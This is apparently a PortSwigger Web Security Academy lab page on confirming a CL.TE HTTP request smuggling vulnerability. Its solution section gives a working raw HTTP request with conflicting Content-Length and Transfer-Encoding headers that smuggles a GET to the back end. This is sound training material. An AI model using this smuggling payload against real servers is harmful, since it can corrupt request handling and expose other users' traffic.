Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

PRACTITIONER

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Note

Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

ACCESS THE LAB

Solution

Using Burp Repeater, issue the following request twice:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

The second request should receive an HTTP 404 response.

Community solutions

Michael Sommer

Register for free to track your learning progress

The benefits of working through PortSwigger's Web Security Academy

Practise exploiting vulnerabilities on realistic targets.
Record your progression from Apprentice to Expert.
See where you rank in our Hall of Fame.

Already got an account? Login here